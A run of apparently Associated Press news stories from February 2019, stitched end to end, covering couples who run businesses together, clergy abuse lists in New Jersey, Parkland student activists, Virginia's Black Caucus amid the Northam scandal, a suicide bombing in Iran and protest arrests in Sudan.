At the end of the first work day, my wife burst into tears and said, I want to tell my husband how horrible my new boss is! Ben Taylor recalls. The problem was that the husband, who owned a technology consultancy, needed his wifes help but wasnt spelling out her role; hed never really thought it through. Like many entrepreneurs, he also found it hard to relinquish some tasks.

I know Im a bit of a control freak. It just didnt jell  we just got irritated with each other, says Ben Taylor, who also owns Homeworkingclub.com, an advice website for freelance workers based in Kent, England.

The business partnership started in 2006 and failed in just a year. But the couple tried it again in 2013, this time with each of them handling specific responsibilities. She is a writer. He does the consulting and administrative tasks.

My wife would far rather be free to do work for her clients  essentially working in the business while Im working on the business, Ben Taylor says.

Spouses who co-own companies say friction, while unpleasant in the moment, ultimately helps them strengthen their relationships.

We have learned to get through disagreements the old-fashioned way  through arguing and eventually coming to a compromise that one or both of us are happy with, says Clinton Smith, who owns the retirement planning firm Government & Civil Employee Services with his husband, Galen Bargerstock.

The couple founded the business in 2010, five years into their relationship. At first, it was rocky. Smith remembers the fights they had over who should be doing what. But the company, based in Indiana, Pennsylvania, thrived, and this was when we knew no matter what, we had to keep working hard, Smith says.

They learned how to divide responsibilities according to each partners strengths; Bargerstock handles sales and Smith manages marketing.

We have grown both as a business, but also as a couple, Smith says.

Some couples go for help  not to a therapist, but a business coach. Thats how Wendy and Scott Schultz reconciled their differing styles that, as Wendy Schultz put it, turned decision-making into a battlefield.

I would see an opportunity to expand our business in the form of a new investment and would want to act quickly. He would see all of the reasons the investment could go wrong and wanted to take time to assess all the pros and cons, says Wendy Schultz, CEO of The Simple Life Hospitality. The Green Bay, Wisconsin-based company invests in and manages vacation rental properties; Schultz founded it in 2013 and her husband joined her in 2016.

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There was also tension between the couple over who was in charge, and the fact that running a business isnt a 9-to-5 occupation, like the job Scott Schultz previously worked at. They began working with a coach to understand and change their dynamics.

There wasnt a defining moment where we resolved our differences, but over time, weve found ways to make our styles complementary for the success of our business, Wendy Schultz says. Through our own trial and error, weve developed a happy medium.

Sometimes, working well together takes brutal honesty. Cynthia Smoot remembers struggling with her husband Randy for several years after she joined his advertising agency, Gangway Advertising, in 2008. They had an ongoing clash of egos and a hard time accepting each others point of view. She remembers one argument during which he was pretty blunt.

You want to do your own thing? What do you think youre bringing to the table? Cynthia Smoot recalls her husband saying. Some things that I thought were strengths, he saw as weakness. That was an eye-opening exercise.

Part of the problem was too much closeness  being together 24/7 didnt work. So, they transitioned from sharing a home office to two separate rooms in different parts of their house in Dallas.

I was as far away as I could get from him, Cynthia says. I told him, dont even come walking in here. Google-chat me!

Now, she says, they share harmony and a successful company.

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For more small business news, insights and inspiration, sign up for our free weekly newsletter here: http://discover.ap.org/ssb

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Follow Joyce Rosenberg at www.twitter.com/JoyceMRosenberg . Her work can be found here: https://apnews.comSHAWNEE, Okla. - In a story Feb. 12 about an auction of mineral interests at the former St. Gregory University in Oklahoma, The Associated Press reported erroneously Dane Polleis status with the Mabee-Gerrer Museum of Art. Pollei is still director, not a former director.

A corrected version of the story is below:

St. Gregorys trustee denies a museums $2.3 million claim

A trustee in St. Gregory Universitys federal bankruptcy case is disputing a claim filed by a museum

A museum is wrong to demand $2.3 million from a St. Gregory University auction of mineral interests, according to the trustee tasked with liquidating the schools assets to pay off creditors during federal bankruptcy proceedings.

The Mabee-Gerrer Museum of Art in Shawnee filed a claim saying the W.P. Wood Charitable Trust transferred mineral deed ownership to St. Gregorys and two other parties in 1998. The trust notified the university by letter that a percentage of earnings from the July auction should go to the non-profit museum, which had essentially been a department of St. Gregorys before 1990.

Trustee John Mashburn contended the letter was never recorded in the chain of title to the mineral interests and that the deed doesnt talk about transferring money to the museum.

Even if enforceable by the museum, the Wood Trust Letter and the boards resolution clearly reference only the sharing of a percentage of the (universitys) earnings each year or revenue received from the mineral interests, said Mashburn.

If the trust had intended to transfer dividend interest to the museum, it would have done so, Mashburn said.

A hearing on Mashburns denial is scheduled for March 20.

The university closed and filed for bankruptcy in December 2017. Over 100 proofs of claim have been filed against St. Gregorys to date, totalling in excess of $10.6 million.

Dane Pollei, director of the museum, said the 30 per cent share of mineral interest earnings the museum received from the university represents about 20 per cent of its budget. The museum runs on roughly $500,000 annually, the Journal Record reported.NEWARK, N.J. - New Jerseys five Roman Catholic dioceses listed more than 180 priests Wednesday who have been credibly accused of sexually abusing minors over a span of several decades, joining more than two dozen other states that have named suspected abusers in the wake of a landmark grand jury report in Pennsylvania last year.

The lists released Wednesday identified priests and deacons who served in the dioceses of Camden, Trenton, Metuchen and Paterson and the archdiocese of Newark. Many priests on the lists are deceased, and others have been removed from ministry.

Cardinal Joseph Tobin, the archbishop of Newark, which listed 63 former priests, said in a statement that he hoped the disclosure will help bring healing to those whose lives have been so deeply violated.

Camdens diocese listed 56 priests and one deacon; Trentons diocese named 30 priests; the Paterson diocese listed 28; and Metuchens diocese named nine plus two others who are currently the subject of civil investigations.

State Attorney General Gurbir Grewal formed a task force in the fall to conduct a criminal investigation into sexual abuse by clergy in the state, shortly after a Pennsylvania grand jury report identified over 300 predator priests and more than 1,000 victims in that state.

While this is a positive first step towards transparency and accountability, I hope this spirit of openness continues during the course of our ongoing investigation and in response to our requests for records and information, Grewal said in a statement Wednesday.

Also on Wednesday, Virginias Roman Catholic Diocese of Richmond published a list of 42 priests with a credible and substantiated allegation of sexual abuse against a child.

Newarks list includes Theodore McCarrick, a former Newark archbishop who served as Washington, D.C., archbishop from 2000 to 2006. McCarrick was removed from public ministry in June.

The lists released by the diocese dont include details about specific allegations or when they are alleged to have happened; rather, any details about the named priests and the crimes of which they are accused come from court records or previously published reports.

Several priests who served in the Newark archdiocese have been accused of molesting boys as part of their volunteer work with Boy Scout troops, according to published reports. Others named in the release were arrested, convicted or pleaded guilty and were returned to service after probation or treatment, according to court records and published reports.

Carmen Sita changed his name to Gerald Howard after being sentenced to probation and receiving treatment and began serving as a priest in the Jefferson City, Missouri, diocese where he was assigned to a parish attached to a school. He was later accused of abusing teenage boys and was convicted a second time. The Missouri diocese reported Howard is currently incarcerated.

Former priest Richard Mieliwocki, who was convicted and sentenced to probation, disappeared after starting counselling and resurfaced when he was accused of molesting teenagers as a counsellor in an in-patient substance abuse program.

Another priest named Wednesday, Manuel Gallo Espinoza, was indicted by a grand jury in 2016 after admitting to at least one allegation of abuse. He fled to Ecuador, and a warrant was issued for his arrest.

The lists dont include religious order priests, such as Jesuits, who may serve in parishes or schools but are not ordained by the diocese. A victims compensation fund announced this week in New Jersey also wont cover claims against religious order priests.

Mitchell Garabedian, an attorney who has represented alleged victims in New Jersey, said the release of names isnt enough.

Given the vast number of priests named as sexual abusers and the span of time in which the sexual abuse took place, it is fair to state that the Archdiocese and Dioceses in New Jersey have forgotten how to be moral and kind with children, he said in a statement.

Nearly 2,000 accused clergy members and others nationwide have been identified since and including the Pennsylvania grand jury report, a review by The Associated Press found.

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___

Lauer reported from Philadelphia. Associated Press writer Mike Catalini in Trenton contributed to this report.PARKLAND, Fla. - Last February, Matt Deitsch was living his dream studying at a California university. His brother, Ryan, was about to graduate from Marjory Stoneman Douglas High School and head to college, the natural next step for the middle child of a family in an affluent suburb. Sister Sam was halfway through her freshman year at the Parkland school.

Since the shooting, the brothers have put college on hold and moved into the national spotlight as they helped organize March for Our Lives, sparking a national conversation about gun control. The three siblings have crisscrossed the country speaking about assault rifles bans and universal background checks and visiting college campuses to register young voters.

Matt, now 21, flew to South Africa to accept the International Childrens Peace Prize. He and Ryan worked with Avengers actor Mark Ruffalo to write a public service announcement encouraging youth to vote.

I dont think anyone can truly explain the political journey weve been thrust onto. I feel like we have a better understanding of our nations politics than most of our politicians Ryan said.

Last Valentines Day, Stoneman Douglas alumnus Matt was working with a startup T-shirt company that student Joaquin Oliver was going to model for three days later. Instead, Deitsch attended Olivers funeral that Saturday.

Ryan, a senior at the time, was hiding in a closet in his journalism class and emerged to grab footage for the school newspaper.

Hours after the Parkland shooting, Emma Gonzalez and David Hogg became household names. But behind the scenes at March For Our Lives, more than a dozen others were working tirelessly on their grassroots movement. (The Associated Press)

Sam, then a freshman, lost a close friend: 14-year-old Jaime Guttenberg. Shes spent the year in therapy and giving speeches about gun violence. She turns Sweet Sixteen on Thursday, the anniversary of the day her friend and 16 others died.

All three siblings found comfort in advocacy and one another.

Just hours after the shooting, the high school students became impossible to ignore riding their bikes to TV interviews, trolling politicians on social media and rallying around the cry of Never Again. Gun-rights advocates also have emerged from Stoneman Douglas students, with Kyle Kashuv the most prominent.

Almost overnight, students like Emma Gonzalez and David Hogg became household names. Behind the scenes, more than a dozen others  among them the three red-headed Deitsch siblings  worked to launch what would become a longer term grassroots campaign.

Matt helped write many of the talking points so that we could counterpunch what was being used against us which was incredibly more aggressive than we could ever imagine.

In one of the organizations first real stabs at the National Rifle Association and politicians that support it  a live town hall with CNN  Ryan hammered Republican Sen. Marco Rubio, asking Why do we have to march on Washington just to save innocent lives?

These days, he helps to run the organizations content committee, making sure the message is on point whether its a video or merchandising. He has deferred college for now, drawing a meagre salary from March for Our Lives, saying he made more money as a waiter and food delivery driver.

Matt, director of strategy, runs the day-to-day operations along with Jaclyn Corin.

I work 110-plus hours a week. Ive been on three national tours, around the country in the last 10 months. Ive been to 41 states plus DC. ... This work doesnt stop, he said.

Days after the shooting, Ryan and Sam headed to Tallahassee with busloads of students to push state lawmakers for gun reform. Discouraged that Florida lawmakers voted not to consider a proposed ban on assault rifles, they organized a trip to Washington with a handful of students, including Delaney Tarr and Alex Wind. They met with 200 lawmakers in two days.

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The brother said the meetings were disappointing: Lawmakers made excuses, misquoted the constitution and treated them coldly.

If they had pretended to be competent and that they were fighting for our lives, that they were working to protect us, March for Our Lives would have never existed. We would have hit the brakes, Matt said.

The students had glimpsed the inner workings of the Legislature and decided it wasnt working for them.

That started the fire in our eyes on a whole other level, Matt said.

The Deitsch siblings express anger as they retell their story during a recent interview in their home. But they also frequently burst into laughter. Its their panacea.

When Sam is overcome by grief and missing her friend, the brothers pull out silly memes from social media to coax a smile. She says theyve gotten closer since the shooting. They laugh about counterprotester antics and bond over what being at the epicenter of a movement is like.

This year has been really, really hard for me and my mental health, and when I think how I have to live for (Jaime) ... , Sam said, her voice trailing off in tears.

Looking ahead, March for Our Lives is already focusing on the next election. The group has said it is encouraged by impressive youth turnout in midterm elections and the growth of nearly 100 local chapters around the country. This years goal is to find creative ways to engage with disinterested youth.

We had hundreds of thousands of students stand up and become politically active for the first time in their lives, Matt said. And every day theres more of us.

___

Find all The Associated Press coverage marking one year since the shooting at Marjory Stoneman Douglas High School in Parkland, Florida, at https://apnews.com/ParklandFloridaschoolshooting .LANSING, Mich. - The Latest on Gov. Gretchen Whitmers State of the State speech (all times local):

11:40 p.m.

Gov. Gretchen Whitmer wants Michigan to be the 17th state to adopt a hands-free driving law that restricts the use of mobile devices while driving.

The Democrat got behind the newly introduced legislation in her State of the State speech Tuesday night. Texting while driving is prohibited, but other uses of phones are allowed.

Whitmer says you cannot navigate the road if you are looking at your phone.

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9:15 p.m.

Gov. Gretchen Whitmer is proposing a scholarship program that would provide college tuition assistance to many Michigan high school graduates.

The Michigan Opportunity Scholarship was unveiled in her State of the State speech Tuesday night. It would give graduates two years of tuition-free education at a community college or cover tuition for the first two for students attending a four-year college.

Students going to a four-year college would not qualify if their household income is above $80,000 or they do not have a 3.0 GPA. Whitmer also wants to help older adults with tuition if they are seeking an in-demand job in a second career.

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7:05 p.m.

Gov. Gretchen Whitmer says there are two major crises Michigan must confront now  aging infrastructure and a lagging education system  or else it will become a tougher place to live, work and run a business.

The Democrat, delivering her first State of the State address Tuesday night, pointed to deteriorating roads, contaminated drinking water and the worst decline in childhood literacy among states measured every year since 2014.

She says generations of leadership have failed Michigan schoolchildren. She adds that just 18 per cent of roads are in good condition.

Detailed proposals will likely wait until Whitmer proposes her initial budget to lawmakers in March.

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6:30 p.m.

Gov. Gretchen Whitmer will kick off a 50-event tour across Michigan following her first State of the State speech, starting in Grand Rapids with a focus on fixing the roads and making sure the workforce is adequately trained.

The Democrat will attend a breakfast Wednesday with business leaders, hosted by The Right Place economic development organization in Grand Rapids. She also will tour Grand Rapids Community College.

Whitmer is calling her post-State of the State events the Home for Opportunity Tour. Whitmer, Lt. Gov. Garlin Gilchrist or Cabinet members will attend the events that will extend into March.

Two of Whitmers top priorities include addressing deteriorating road conditions and closing a skills gap so workers have the training they need to fill jobs.

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5:35 a.m.

Gov. Gretchen Whitmer says she will use her first State of the State address to focus on Michigans fundamentals  such as the roads, drinking water and workforce.

The Democrat will speak Tuesday night during a joint session of the Republican-led Legislature.

She plans to focus in part on the magnitude of the problem with deteriorating roads and bridges , asking drivers and businesses to give feedback on what pothole-ridden infrastructure is costing them. A detailed proposal will likely wait until she proposes her budget in March.

Another major topic will be workforce development  ensuring that companies can fill their jobs with in-state workers who have the proper training. The issue applies to all workers, she says, regardless of whether they have four-year college degrees, trade certificates or something in-between.NEW YORK - A New York City police detective was shot and killed by friendly fire Tuesday night as officers confronted a robbery suspect who turned out to be armed with a replica handgun, Commissioner James ONeill said.

This appears to be an absolutely tragic case of friendly fire, an emotional ONeill said at a late-night news conference.

Det. Brian Simonsen, 42, was struck in the chest as multiple officers fired on the suspect at a T-Mobile store in Queens, ONeill said. Simonsen, a 19-year NYPD veteran, was put in a squad car and taken to a hospital, where he was pronounced dead.

Sgt. Matthew Gorman was shot in the leg, ONeill said. A passerby stopped and drove him to the hospital in his car. Gorman is in stable condition.

The suspect, a 27-year-old man with an extensive criminal record, was armed with an imitation firearm, ONeill said. He was wounded and is hospitalized in stable condition.

Make no mistake about it, friendly fire aside, it is because of the actions of the suspect that Det. Simonsen is dead, ONeill said.

New York City police say a detective was killed by friendly fire while responding to a report of an armed robbery. A suspect is in custody. Police say an imitation firearm was recovered. (The Associated Press)

Police swarmed to the store at around 6:10 p.m. after a 911 caller standing outside reported seeing the suspect  dressed in all black and carrying a duffel bag  take two employees to a back room at gunpoint, according to dramatic dispatch audio.

No sirens, guys, a dispatcher warns.

Simonsen and Gorman were working on another case nearby when the call came over and arrived around the same time as patrol officers, ONeill said. At first, the front of the store appeared empty, he said.

Then a man matching the suspects description emerged from the rear of the store pointing at them what appeared to be handgun and police started shooting, he said.

Shots fired! Shots fired! an officer is heard yelling on the dispatch audio over a barrage of gunshots.

About a minute later, Gorman tells dispatchers that hes been hit and an officer screams for dispatchers to rush an ambulance to the scene.

Arwindern Singh, who lives across the street from the store, said he heard about 20 shots go off and thought they were firecrackers.

When he went outside, he said all of a sudden there were cops all over.

The gunfire blew out the stores doors, showering the sidewalk with glass. Bullet holes pocked frosted windows decorated with the T-Mobile logo. Scores of police officers streamed to the scene, which was roped off with crime tape. Some walked together in a line, searching for evidence.

At Jamaica Hospital, officers guarded the emergency room entrance as ONeill and Mayor Bill de Blasio met with Gorman and offered their condolences to Simonsens wife and mother.

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It was heartbreaking. Absolutely heartbreaking, De Blasio said. His mom, who has suffered so much. His wife. The shock that theyre feeling was so painful to see.

Simonsen shouldve been off Tuesday for a union meeting, but he opted to go to work so he could continue tracking a string of recent robberies, Detectives Endowment Association president Michael Palladino said.

Given the suspects criminal history, Palladino said: I think we have to ask the question: Why was someone with such an extensive arrest record out on the street and not incarcerated?

In 2009, Simonsen investigated the death of an 11-month old boy who drowned in a bucket of water at an unlicensed daycare while the woman running it was passed out on NyQuil. Simonsen testified at Kristal Khans trial, which ended in her conviction, that she didnt show any emotion when he questioned her two hours after the incident.

The last New York City police officer killed in the line of duty was a 12-year veteran and mother of three who was gunned down in 2017 while sitting in a police vehicle.

Officer Miosotis Familia, 48, was writing in her notebook when ex-convict Alexander Bonds strode up and shot her through a window. Bonds, who had railed about police and prison officers in a Facebook video months earlier, was fatally shot by officers soon after the attack.

In December, a police officer on Staten Island survived being hit by friendly fire as officers responding to a domestic dispute call shot and killed a man carrying a knife.

De Blasio on Tuesday night praised officers for rushing into dangerous situations and taking decisive action when lives are threatened.

They know its a moment where they cannot hesitate, where even a moment of hesitation can mean a life is lost, De Blasio said. That bravery and that resolve is something that we all need to understand.

__

Balsamo reported from Washington. AP reporter Tom McElroy contributed to this report.LAS VEGAS - A thief in Las Vegas made off with a delivery package containing what a mother told police was $40,000 worth of cancer treatment drugs for her 14-year-old son, authorities said Tuesday.

Police issued a plea for help finding the thief and released a photo of the man seen in doorbell security video. He took two packages from the front of a home Thursday, Officer Laura Meltzer said.

Stacey Shavinsky told KLAS-TV that she just wants the thief to return a box containing a chemotherapy drug that her son takes daily for a rare form of cancer.

Youre not just taking pants or a shirt, youre taking something thats keeping someone alive, she said.

Shavinsky called 911 and filed a police report, Meltzer said, but an immediate search of the neighbourhood by a detective did not find the thief.

Because of the value of the package, he could face a felony theft charge, Meltzer said.

The man was believed to be in his 20s, wearing sunglasses, a red baseball cap and a red plaid shirt.RIVERSIDE, Calif. - Authorities have arrested two Southern California brothers on suspicion of killing a 16-year-old girl who vanished last month.

Riverside County Sheriff Chad Bianco said Tuesday that evidence dug out of the brothers Hesperia backyard led investigators to believe Aranda Briones was a victim of homicide.

She was last seen alive on Jan. 13 at a park in Moreno Valley, east of Los Angeles. Authorities are searching for her body.

The sheriff says Briones was a high school friend of 18-year-old Owen Shover, who was arrested Monday at his home. He could face a murder charge. His brother, 21-year-old Gary Shover, was arrested on suspicion of conspiracy to commit murder.

Its unclear whether they have attorneys.RICHMOND, VA.Del. Lashrecse Aird faces an awful dilemma.

The Petersburg Democrat and other members of the Virginia Legislative Black Caucus have called for the resignations of Gov. Ralph Northam, D, whom many had worked to elect, and Lt. Gov. Justin Fairfax, D, only the second African-American to win statewide office in Virginias history.

But constituents have been telling Aird they dont want either man to step down. That Northam deserves a chance to redeem himself for a racist photo from his 1984 medical school yearbook, and that Fairfax should be able to defend himself against allegations of sexual assault.

Other black lawmakers have gotten the same message; a Washington Post-Schar School poll last week found that 58 per cent of African-American Virginians support Northam staying in office.

My constituents are the 58 per cent, Aird said. Its a real problem for me.

Members of the Black Caucus have resisted speaking out individually as the melodrama has unfolded, conscious of the nation watching every embarrassing development in Richmond. But on Tuesday, a few agreed to share some of the conflicting feelings all have struggled to resolve.

Read more:

How Virginias top 3 leaders are handling scandals

Virginia congresswoman: Northam should resign

Clamor for ouster of top Democrats slows in Virginia

We are being asked to speak not just for every black person in this state but really every Black person in this country, and this is a heavy burden. Black people are not monolithic, said one lawmaker, who spoke on the condition of anonymity because the topic has been so incendiary within the caucus.

As the crisis wears on, some of the lawmakers say they feel torn. Several members of the Black Caucus have met privately with Northam, and he cited their lessons on white privilege and the painful history of blackface as key elements in his decision to stay in office and seek racial healing.

Caught between a desire to clean house and the potential for using the situation to press Northam for tangible changes to state policy that would help African-Americans, the lawmakers went into this week looking for the first real test of Northams promise to seek redemption.

And, in their eyes, the governor failed the test.

A major tax-cut deal worked out last week by the Northam administration and Republicans who control the General Assembly eliminated an earlier effort by the governor to expand tax relief for low-income families. Budget agreements decreased funding for a host of items related to the poor, and cuts were worse in parts of the state with a higher proportion of minority residents.

We are selling out the people who need us the most, and I have a problem with that, Del. Jennifer Carroll Foy, D-Prince William, said during floor debate on the tax deal.

She and other Black lawmakers voted against it, taking Democratic leaders by surprise. In the end, the Black Caucus met with Republicans and won agreements to put money back into some of those budget areas in return for supporting the tax plan.

But it was messy, and the agreements are just promises. And it was unclear whether Republicans were able to scuttle Northams original budget proposal because he was weakened by scandal. The Black lawmakers say they are looking for signs that Northam  and, to a lesser extent, Fairfax  can continue to govern and get things done.

Just to let folks know, Im still watching, Del. Marcia S. Cia Price, D-Newport News, said after Mondays tax votes. Shes a member of the Black Caucus and served as campaign chair when Northam ran for governor in 2017, but she has called for him to resign. Im still looking for true reforms that impact working families.

On Sunday in Petersburg, Aird, 32, hung around after church to talk with her constituents about the scandals in nearby Richmond.

The conversation didnt go as she expected.

Young and old, the fellow worshippers  all African-American  told her that Northam and Fairfax deserve to stay in office, she said. They felt both men had been doing a good job.

Aird said she responded by telling the churchgoers that her first concern is whether both men can still be effective in office while wounded.

Its about governing, she said.

She mentioned the budget bills and her fear that Northam backed off his tax cut for the poor because hes in a weak position. The churchgoers said they understood, and they appreciated me taking the time to talk with them, Aird said. But their positions did not move.

Northams words over the weekend in interviews, in which he pledged to work to fix racial inequities, gave Aird a lot to digest, she said. She still wants Northam to resign, but as time goes on, that seems unlikely. So we need to think about our expectations, because every day I get the sense people are moving beyond the divisions that have been displayed, she said.

Del. Jerrauld Jay Jones, D-Norfolk, who at 29 is one of the youngest members of the Black Caucus, had similar experiences over the weekend. At a function on Saturday night, he said, a woman grabbed him by the shirt and told him Northam, Fairfax and Attorney General Mark Herring, D, should not step down. Like Northam, Herring has admitted darkening his face as part of a costume, in his case to imitate a rapper when he was 19.

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Northam used to represent Jones area in the state Senate, and his medical practice is located there. He went to Eastern Virginia Medical School in Norfolk, and it was that yearbook that surfaced on Feb. 1 with a photo on Northams page depicting someone in blackface and someone in a Ku Klux Klan outfit. Northam initially took responsibility for the picture but now says its not him  though he admits putting shoe polish on his face to play Michael Jackson in a dance contest that same year.

When I go home, people love him, Jones said. The guy who they know, whos been in public life for a decade  thats not the person in that picture.

Jones said Northam was the first person he ever voted for, and the yearbook image and the notion that he wore blackface have been difficult for him. Theres pain, theres anger, theres angst, theres anguish, he said.

Like Aird, he said the tax and budget bills have not been a good first step in proving that the governor has learned a lesson. All this is something where were going to have to figure out how to do it going forward, Jones said. Were all going home in a couple of weeks  the General Assembly session ends Feb. 23  and were all facing elections this fall.

Democrats had high hopes of winning control of the General Assembly in November, and the cascading disasters have sent state and national party leaders into hand-wringing overdrive.

Strategists worry that leaving the three top Democrats in office, each man damaged, will only help Republicans. Northams diminished status wrecks his ability to raise money for state Democrats who will launch into fundraising mode in earnest by the end of this month. Democratic 2020 hopefuls looking to attack what they call the racist and sexist attitudes of U.S. President Donald Trump are dreading having to answer for the trio of albatrosses in Virginia, an important state in a presidential year. Meanwhile, Fairfax and Herring had both nurtured hopes of running for governor in 2021, but it is unclear whether either can launch a viable campaign.

Still, its possible some of those fears are exaggerated. Out of the 40 doors that I knocked this weekend, I think maybe three people brought up the scandals, said Del. Hala Ayala, D-Prince William, a freshman lawmaker and member of the Black Caucus. Most of them were just talking about the [federal] government shutdown.

She has debated Northams fate with friends and family, Ayala said. She called for the governor to resign but acknowledged that theres this real conflict. Theres this grey area ... You say your piece, you tell them your stance, and then you continue on.

Ayala said shes encouraged by Northams promise to educate himself and to use this moment to heal. And thats at least partly because Northam is taking cues from Del. Delores McQuinn, D-Richmond, a minister and one of the most senior members of the Black Caucus.

McQuinn met with Northam the night of Feb. 1 when the racist photo came to light. At that point, he had taken responsibility for the picture, and later that night, the Black Caucus would issue its first call for him to resign.

But not every member of the caucus saw the moment as hopeless.

Let me tell you what I said the very first night, even in the midst of the anger and hurt and disappointment, said McQuinn, who is prominent in the Richmond area for her efforts to preserve African-American history. I said to him that he had to answer the question: Is this a time to retreat, or is it a time to teach?

It would be easy, she told Northam, to run away from the world. But she admonished him that this is a teachable moment for Virginians; this is a teachable moment for all of us.

In her years of promoting memorials to Black history and preserving Black cemeteries, McQuinn said, she never felt the white community had stepped up to fully express the injustices, the inequity and inequality. How barriers and walls were erected to hold African-Americans down  from enslavement to Jim Crow to massive resistance.

White leaders, she told Northam, need to realize that the systemic and structural racism still exists. Weve got to dismantle it.

Northam has announced plans to speak about race at Virginia Union University next week as part of a statewide reconciliation tour. On Tuesday, his staff touted that Northam has restored voting rights to 10,000 felons, who are disproportionately African-American.

For all the shame that Northam and Herring face over the revelations, McQuinn said, they have an opportunity. Ralph and Mark have been placed in a position that they can make something good come out of this. It is no coincidence ... that the governor of the former capital of the Confederacy is now on the international stage, over this issue. Thats no coincidence, OK? Make no mistake. He can take this and use it as a teachable moment.

It is possible, she said she told Northam, to move toward the whole issue of apology, forgiveness, reconciliation. Its going to take some time. Its not going to happen over night. But he needs to find those places that he can go and begin to erect change.BEIRUT - The head of the U.N. agency for Palestinian refugees says the groups staff will convene all our energy to preserve all services through 2019 despite funding cuts.

Pierre Krahenbuhl told reporters Wednesday that the UNRWA was able to keep all schools and health centres in camps around Lebanon open last year despite the cuts.

The United States, once the agencys largest and most generous donor, withdrew its support for the agency in 2018. That resulted in an abrupt loss of $300 million in funding for the organization.

Last month, UNRWA appealed for $1.2 billion to fund their services this year, aiming to maintain the same amount of money the agency received from donors in 2018.

The U.N. agency assists 5.4 million registered Palestinian refugees across the Middle East.CAIRO - An international rights group says Egypt has executed three Muslim Brotherhood members sentenced to death following torture and beatings to extract confessions.

Wednesdays statement from Amnesty International says the executions brought the total number of Islamists executed in Egypt to six within a span of two weeks.

The three were convicted of killing a police officer in Cairo in Sep. 2013.

The other three were executed last week. They were convicted last year for the 2014 killing of a judges son in the Nile Delta town of Mansoura.

Amnestys Najia Bounaim says the developments mark an alarming escalation in executions so far this year, and the six executed were sentenced based on confessions they said were extracted under torture.

There was no immediate comment from authorities.TEHRAN, Iran - A suicide car bomber claimed by an al-Qaida-linked group attacked a bus carrying members of Irans elite Revolutionary Guard paramilitary force Wednesday, killing at least 27 people and wounding 13 others, state media reported.

Tehran immediately linked the attack in Irans restive southeastern Sistan and Baluchistan province to an ongoing U.S.-led conference in Warsaw largely focused on Iran, just two days after the nation marked the 40th anniversary of its 1979 Islamic Revolution.

The bombing also raised the spectre of possible Iranian retaliation targeting a Sunni militant group called Jaish al-Adl that claimed the attack, which largely operates across the border in nuclear-armed Pakistan. Recent militant assaults inside Iran have sparked retaliatory ballistic missile strikes in Iraq and Syria.

The bombing Wednesday night struck the bus travelling on a road between the cities of Khash and Zahedan, a mountainous region along the Pakistani border that is also near Afghanistan. Images after the blast published by semi-official news agencies showed the explosion tore the bus apart, as passers-by used the light of their cellphones to illuminate the debris.

The state-run IRNA news agency, citing what it described as an informed source, offered initial casualty figures of 20 dead and 20 wounded. The Revolutionary Guard later reported on its website that 27 were killed and 13 wounded.

The Guard, which answers only to Irans Supreme Leader Ayatollah Ali Khamenei, issued a statement saying a vehicle loaded with explosives targeted a bus carrying border guards affiliated with its force.

Sistan and Baluchistan province, which lies on a major opium trafficking route, has seen occasional clashes between Iranian forces and Baluch separatists, as well as drug traffickers.

However, in recent months, theres been an uptick in assaults by the Sunni extremist group Jaish al-Adl, or the Army of Justice. Since its founding in 2012, it has abducted or killed border guards in hit-and-run assaults from its havens in Pakistan. It kidnapped 11 Iranian border guards in October. Five later were returned to Iran and six remained held.

Jaish al-Adl claimed Wednesdays bombing in a statement online. Iranian state-run and semi-official media also blamed the group for the attack.

While Iran has been enmeshed in the wars engulfing Syria and neighbouring Iraq, it largely has avoided the bloodshed plaguing the region. However, attacks have happened.

In 2009, more than 40 people, including six Guard commanders, were killed in a suicide attack by Sunni extremists in Sistan and Baluchistan province. Jundallah, a Sunni extremist group whose members have joined Jaish al-Adl, claimed responsibility for that attack.

In the case of Jundallah, Pakistan assisted Iran in apprehending its leader, whom Tehran executed in 2010. Iran has sought the co-operation of Pakistan in recent cases involving Jaish al-Adl as well.

However, a bombing like this inside of Iran likely will draw an immediate reaction from the Guard, a massive paramilitary organization that both controls Irans ballistic missile program and vast chunks of its economy.

Iran fired ballistic missiles into Syria over a bloody Islamic State attack on Tehran targeting parliament and the shrine of Ayatollah Ruhollah Khomeini in 2017 that killed at least 18 people. In September, Iran fired missiles into Iraq targeting a base of an Iranian Kurdish separatist group after an attack on a border post.

The Revolutionary Guard also launched six ballistic missiles as well as drone bombers in October toward eastern Syria, targeting militants it blamed for an attack on a military parade that killed at least 24 people.

Iran increasingly has blamed the militant attacks targeting it on Saudi Arabia and the United Arab Emirates. Saudi Crown Prince Mohammed bin Salman for instance in a 2017 interview suggested the kingdom knew it was a main target of Iran.

We are not waiting until there becomes a battle in Saudi Arabia, so we will work so that it becomes a battle for them in Iran and not in Saudi Arabia, he said then. Prince Mohammed is due in Pakistan, a major recepient of the kingdoms largess, in the coming days.

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The U.S.-led conference in Warsaw is the work of President Donald Trump, who campaigned on a promise of tearing up Tehrans nuclear deal with world powers. Trump withdrew the U.S. from the accord last May. Since then, the United Nations says Iran has kept up its side of the bargain, though Iranian officials have increasingly threatened to resume higher enrichment.

Amid the new tensions, Irans already-weakened economy has been further challenged. There have been sporadic protests in the country as well, incidents applauded by Trump amid Washingtons maximalist approach to Tehran.

Irans Foreign Minister Mohammad Javad Zarif directly linked the meeting to the attack Wednesday.

Is it no coincidence that Iran is hit by terror on the very day that (hashtag)WarsawCircus begins? Zarif wrote on Twitter. Especially when cohorts of same terrorists cheer it from Warsaw streets & support it with (Twitter) bots?

Khamenei, who earlier approved President Hassan Rouhanis outreach to the West during the nuclear deal negotiations, dismissed any future dealings with the U.S.

About the United States, the resolution of any issues is not imaginable and negotiations with it will bring nothing but material and spiritual harm, Khamenei said in a statement.

Zarif earlier predicted the Warsaw summit would not be productive for the U.S.

I believe its dead on arrival or dead before arrival, he said at a news conference before the bombing.

___

Gambrell reported from Dubai, United Arab Emirates. Associated Press writer Aron Heller in Warsaw, Poland, contributed to this report.CAIRO - Sudans security forces arrested more than a dozen academics who joined a protest outside Khartoum University in the Sudanese capital, calling for embattled President Omar al-Bashir to step down, activists said Wednesday.

Sudan has been gripped by nationwide protests since Dec. 19. The demonstrations, which show no sign of abating, were triggered by rising prices and shortages but quickly turned to calls for autocratic President Omar al-Bashir to step down.

The activists said police arrested at least 14 academics while they protested Tuesday. Their whereabouts remained unknown, they added.

The detained academics were added to opposition leaders, doctors, journalists, lawyers and students along with some 800 protesters who have been arrested in two months of protests.

Last month, authorities ordered the release of all protesters who were detained since Dec. 19. But Human Rights Watch said Monday only 186 were reported let go and that video evidence showed signs of torture on released detainees.

The activists spoke on condition of anonymity for fear of reprisals. A government spokesman did not immediately respond to phone calls and messages seeking comment.

